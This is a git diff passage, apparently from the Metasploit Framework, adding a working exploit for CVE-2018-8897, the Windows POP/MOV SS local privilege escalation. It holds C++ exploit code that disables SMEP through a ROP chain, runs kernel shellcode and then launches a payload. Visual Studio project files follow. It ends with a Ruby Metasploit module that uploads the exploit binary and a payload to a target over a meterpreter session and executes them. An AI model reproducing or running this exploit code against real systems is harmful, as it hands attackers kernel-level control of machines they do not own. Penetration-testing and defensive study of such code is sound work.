KiSaveProcessorControlState, Cr8 storage + Ctx.Dr7 = + ( 1 << 0 ) | ( 3 << 16 ) | ( 3 << 18 ) | // R/W, 4 Bytes, Active + ( 1 << 2 ) | ( 3 << 20 ) | ( 2 << 22 ); // W, 8 Bytes, Active + Ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; + + printf( "[+] Setting up debug registers:\n" ); + SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xD ); + printf( "Dr0: %16llx [@SavedSS] (R/W, 4 Bytes, Active)\n", Ctx.Dr0 ); + printf( "Dr1: %16llx [@SpecialRegisters.CR4] (W, 8 Bytes, Active)\n", Ctx.Dr1 ); + SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xF ); + assert( SetThreadContext( HANDLE( -2 ), &Ctx ) ); + printf( "\n" ); + + uint64_t RetnRetn[ 2 ] = { AdrRetn, AdrRetn }; + uint64_t PopRcxRetnRcx[ 2 ] = { AdrPopRcxRetn, 0x506f8 }; + uint64_t SetCr4Retn[ 2 ] = { AdrSetCr4Retn, ( uint64_t ) &KernelShellcode }; + + // RSP: + __setxmm13( ( BYTE* ) RetnRetn ); // &retn // we need to align xmm writes so two place holders just incase! + // &retn + __setxmm14( ( BYTE* ) PopRcxRetnRcx ); // &pop rcx + // 0x506f8 + __setxmm15( ( BYTE* ) SetCr4Retn ); // &mov cr4, rcx; retn + // &KernelShellcode + + printf( "[+] Built ROP Chain:\n" ); + SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xD ); + printf( "-- &retn; (%016llx)\n", RetnRetn[ 0 ] ); + printf( "-- &retn; (%016llx)\n", RetnRetn[ 1 ] ); + printf( "-- &pop rcx; retn; (%016llx)\n", PopRcxRetnRcx[ 0 ] ); + printf( "-- cr4_nosmep (%016llx)\n", PopRcxRetnRcx[ 1 ] ); + printf( "-- &mov cr4, rcx; retn; (%016llx)\n", SetCr4Retn[ 0 ] ); + printf( "-- &KernelShellcode (%016llx)\n", SetCr4Retn[ 1 ] ); + SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xF ); + printf( "\n" ); + + + PVOID ProperGsBase = __read_gs_base(); + printf( "[+] Writing fake PCR as new GSBASE: %16llx\n", Pcr ); + printf( "[+] Defering debug exception...\n" ); + __set_gs_base( Pcr ); + __triggervuln( ContextBackup, &SavedSS ); // Let the fun begin + __set_gs_base( ProperGsBase ); + printf( "[+] Restored old GSBASE: %16llx\n", ProperGsBase ); + + SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xA ); + printf( "[+] Exploit successful!\n\n" ); + + + SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xF ); + printf( "/------------------------------------------\\\n" ); + printf( "| Press any key to launch a system console |\n" ); + printf( "\\------------------------------------------/" ); + //system( "pause>nul" ); + system( argv[1] ); +} diff --git a/external/source/exploits/cve-2018-8897-exe/cve-2018-8897-exe.sln b/external/source/exploits/cve-2018-8897-exe/cve-2018-8897-exe.sln new file mode 100755 index 0000000000..217673bcdc --- /dev/null +++ b/external/source/exploits/cve-2018-8897-exe/cve-2018-8897-exe.sln @@ -0,0 +1,22 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.21005.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2018-8897-exe", "cve-2018-8897-exe.vcxproj", "{270A69FF-C7BA-433D-9AF0-F16DED29C5DB}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {270A69FF-C7BA-433D-9AF0-F16DED29C5DB}.Debug|Win32.ActiveCfg = Debug|Win32 + {270A69FF-C7BA-433D-9AF0-F16DED29C5DB}.Debug|Win32.Build.0 = Debug|Win32 + {270A69FF-C7BA-433D-9AF0-F16DED29C5DB}.Release|Win32.ActiveCfg = Release|x64 + {270A69FF-C7BA-433D-9AF0-F16DED29C5DB}.Release|Win32.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/cve-2018-8897-exe/cve-2018-8897-exe.vcxproj b/external/source/exploits/cve-2018-8897-exe/cve-2018-8897-exe.vcxproj new file mode 100755 index 0000000000..c124b891dd --- /dev/null +++ b/external/source/exploits/cve-2018-8897-exe/cve-2018-8897-exe.vcxproj @@ -0,0 +1,160 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + + + + + + + + + + + + + + {270A69FF-C7BA-433D-9AF0-F16DED29C5DB} + Win32Proj + cve20188897exe + + + + Application + true + v120 + Unicode + + + Application + true + v120 + Unicode + + + Application + false + v120 + true + Unicode + + + Application + false + v120 + true + Unicode + + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + + + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions) + + + Console + true + + + + + + + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions) + + + Console + true + + + + + Level3 + + + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions) + + + Console + true + true + true + + + + + Level3 + + + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions) + MultiThreaded + + + Console + true + true + true + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/cve-2018-8897-exe/cve-2018-8897-exe.vcxproj.filters b/external/source/exploits/cve-2018-8897-exe/cve-2018-8897-exe.vcxproj.filters new file mode 100755 index 0000000000..1c3f77bb1c --- /dev/null +++ b/external/source/exploits/cve-2018-8897-exe/cve-2018-8897-exe.vcxproj.filters @@ -0,0 +1,44 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + + + Source Files + + + + + Source Files + + + \ No newline at end of file diff --git a/modules/exploits/windows/local/mov_ss.rb b/modules/exploits/windows/local/mov_ss.rb new file mode 100644 index 0000000000..78570c6e74 --- /dev/null +++ b/modules/exploits/windows/local/mov_ss.rb @@ -0,0 +1,174 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/post/common' +require 'msf/core/post/file' +require 'msf/core/post/windows/priv' +require 'msf/core/post/windows/registry' +require 'msf/core/exploit/exe' + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::Common + include Msf::Post::File + include Msf::Post::Windows::Priv + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Microsoft Windows POP/MOV SS Local Privilege Elevation Vulnerability', + 'Description' => %q{ + This module exploits a vulnerability in a statement in the system programming guide + of the Intel 64 and IA-32 architectures software developer's manual being mishandled + in various operating system kerneles, resulting in unexpected behavior for #DB + excpetions that are deferred by MOV SS or POP SS. + + This module will upload the pre-compiled exploit and use it to execute the final + payload in order to gain remote code execution. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Nick Peterson', # Original discovery (@nickeverdox) + 'Nemanja Mulasmajic', # Original discovery (@0xNemi) + 'Can Bölük ', # PoC + 'bwatters-r7' # msf module + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => + [ + [ 'Windows x64', { 'Arch' => ARCH_X64 } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'May 08 2018', + 'References' => + [ + ['CVE', '2018-8897'], + ['EDB', '44697'], + ['BID', '104071'], + ['URL', 'https://github.com/can1357/CVE-2018-8897/'], + ['URL', 'https://blog.can.ac/2018/05/11/arbitrary-code-execution-at-ring-0-using-cve-2018-8897/'] + ], + 'DefaultOptions' => + { + 'DisablePayloadHandler' => 'False' + } + )) + + register_options([ + OptString.new('EXPLOIT_NAME', + [false, 'The filename to use for the exploit binary (%RAND% by default).', nil]), + OptString.new('PAYLOAD_NAME', + [false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]), + OptString.new('PATH', + [false, 'Path to write binaries (%TEMP% by default).', nil]), + OptInt.new('EXECUTE_DELAY', + [false, 'The number of seconds to delay before executing the exploit', 3]) + ]) + end + + def setup + super + @exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) + @payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) + @exploit_name = "#{exploit_name}.exe" unless exploit_name.match(/\.exe$/i) + @payload_name = "#{payload_name}.exe" unless payload_name.match(/\.exe$/i) + @temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP') + @payload_path = "#{temp_path}\\#{payload_name}" + @exploit_path = "#{temp_path}\\#{exploit_name}" + @payload_exe = generate_payload_exe + end + + def validate_active_host + begin + host = session.session_host + print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") + rescue Rex::Post::Meterpreter::RequestError => e + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + raise Msf::Exploit::Failed, 'Could not connect to session' + end + end + + def validate_remote_path(path) + unless directory?(path) + fail_with(Failure::Unreachable, "#{path} does not exist on the target") + end + end + + def validate_target + if sysinfo['Architecture'] == ARCH_X86 + fail_with(Failure::NoTarget, 'Exploit code is 64-bit only') + end + if sysinfo['OS'] =~ /XP/ + fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP') + end + end + + def ensure_clean_destination(path) + if file?(path) + print_status("#{path} already exists on the target. Deleting...") + begin + file_rm(path) + print_status("Deleted #{path}") + rescue Rex::Post::Meterpreter::RequestError => e + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + print_error("Unable to delete #{path}") + end + end + end + + def ensure_clean_exploit_destination + ensure_clean_destination(exploit_path) + end + + def ensure_clean_payload_destination + ensure_clean_destination(payload_path) + end + + def upload_exploit + local_exploit_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897-exe', 'cve-2018-8897-exe.exe') + upload_file(exploit_path, local_exploit_path) + print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}") + end + + def upload_payload + write_file(payload_path, payload_exe) + print_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}") + end + + def execute_exploit + sleep(datastore['EXECUTE_DELAY']) + print_status("Running exploit #{exploit_path} with payload #{payload_path}") + output = cmd_exec('cmd.exe', "/c #{exploit_path} #{payload_path}") + vprint_status(output) + end + + def exploit + begin + validate_active_host + validate_target + validate_remote_path(temp_path) + ensure_clean_exploit_destination + ensure_clean_payload_destination + upload_exploit + upload_payload + execute_exploit + rescue Rex::Post::Meterpreter::RequestError => e + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + print_error(e.message) + ensure_clean_exploit_destination + ensure_clean_payload_destination + end + end + + attr_reader :exploit_name + attr_reader :payload_name + attr_reader :payload_exe + attr_reader :temp_path + attr_reader :payload_path + attr_reader :exploit_path +end